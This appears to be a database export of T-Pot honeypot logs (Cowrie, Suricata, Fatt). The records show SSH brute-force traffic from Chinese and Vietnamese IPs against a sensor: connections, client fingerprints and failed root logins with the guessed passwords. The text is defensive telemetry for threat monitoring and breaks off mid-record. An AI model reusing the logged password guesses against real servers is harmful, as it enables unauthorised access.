21626	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:34.76151+03	2021-09-20 14:15:03.900613+03	{"_id": "JQbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz@WSX3edc] failed", "session": "eda904d05d15", "@version": "1", "password": "1qaz@WSX3edc", "username": "root", "timestamp": "2021-09-20T11:06:34.761510Z", "@timestamp": "2021-09-20T11:06:34.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21629	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:35.746089+03	2021-09-20 14:15:03.904612+03	{"_id": "QAbiAnwBvYTbRNuE4gBc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1933235298487273, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40772, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.746089Z", "@timestamp": "2021-09-20T11:06:35.746Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21630	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:36.309577+03	2021-09-20 14:15:03.905612+03	{"_id": "egbiAnwBvYTbRNuE5gBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 419448305181377, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34130, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.309577Z", "@timestamp": "2021-09-20T11:06:36.309Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21631	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:47.16068+03	2021-09-20 14:15:03.907613+03	{"_id": "egbjAnwBvYTbRNuEEgKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48784, "timestamp": "2021-09-20T11:06:47.160680", "@timestamp": "2021-09-20T11:06:47.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21632	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:47.557487+03	2021-09-20 14:15:03.908615+03	{"_id": "dgbjAnwBvYTbRNuEEgKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "214fca9416e8", "@version": "1", "duration": 2.7671282291412354, "timestamp": "2021-09-20T11:06:47.557487Z", "@timestamp": "2021-09-20T11:06:47.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21633	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:48.820443+03	2021-09-20 14:15:03.910612+03	{"_id": "fQbjAnwBvYTbRNuEFQIw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 313285304388180, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43354, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.820443Z", "@timestamp": "2021-09-20T11:06:48.820Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21634	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:48.860234+03	2021-09-20 14:15:03.911612+03	{"_id": "fgbjAnwBvYTbRNuEFQIw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 52675278479930, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38746, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.860234Z", "@timestamp": "2021-09-20T11:06:48.860Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21635	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:06:49.149658+03	2021-09-20 14:15:03.912614+03	{"_id": "kQbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2124 (192.168.176.2:22) [session: 9c373531ef77]", "session": "9c373531ef77", "@version": "1", "protocol": "ssh", "src_port": 2124, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.149658Z", "@timestamp": "2021-09-20T11:06:49.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21636	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:48.545999+03	2021-09-20 14:15:03.913613+03	{"_id": "mAbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43354, "timestamp": "2021-09-20T11:06:48.545999", "@timestamp": "2021-09-20T11:06:48.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21637	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:48.292798+03	2021-09-20 14:15:03.914613+03	{"_id": "mQbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/root2014bisu] failed", "session": "b22ec41a08e3", "@version": "1", "password": "root2014bisu", "username": "root", "timestamp": "2021-09-20T11:06:48.292798Z", "@timestamp": "2021-09-20T11:06:48.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21638	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:48.440159+03	2021-09-20 14:15:03.915613+03	{"_id": "mgbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/12341234] failed", "session": "96c319c4c305", "@version": "1", "password": "12341234", "username": "root", "timestamp": "2021-09-20T11:06:48.440159Z", "@timestamp": "2021-09-20T11:06:48.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21650	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.471303+03	2021-09-20 14:15:03.931612+03	{"_id": "3AbjAnwBvYTbRNuEHgJl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "83979a6e8f5e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.471303Z", "@timestamp": "2021-09-20T11:06:50.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21639	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:49.001866+03	2021-09-20 14:15:03.917612+03	{"_id": "nQbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ffa4915667c0", "@version": "1", "timestamp": "2021-09-20T11:06:49.001866Z", "@timestamp": "2021-09-20T11:06:49.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21640	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:06:49.150408+03	2021-09-20 14:15:03.918613+03	{"_id": "ngbjAnwBvYTbRNuEFgKT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9c373531ef77", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:06:49.150408Z", "@timestamp": "2021-09-20T11:06:49.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21641	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:06:49.425364+03	2021-09-20 14:15:03.919613+03	{"_id": "rgbjAnwBvYTbRNuEGQIY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1375548828308391, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2124, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.425364Z", "@timestamp": "2021-09-20T11:06:49.425Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21642	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:49.000813+03	2021-09-20 14:15:03.920613+03	{"_id": "rwbjAnwBvYTbRNuEGQIZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 940503000992495, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45372, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.000813Z", "@timestamp": "2021-09-20T11:06:49.000Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21643	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:50.010379+03	2021-09-20 14:15:03.921613+03	{"_id": "wAbjAnwBvYTbRNuEGgJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:56210 (192.168.176.2:22) [session: 0bbdbd5ee5a4]", "session": "0bbdbd5ee5a4", "@version": "1", "protocol": "ssh", "src_port": 56210, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.010379Z", "@timestamp": "2021-09-20T11:06:50.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21644	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:49.253489+03	2021-09-20 14:15:03.923612+03	{"_id": "xQbjAnwBvYTbRNuEGgJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 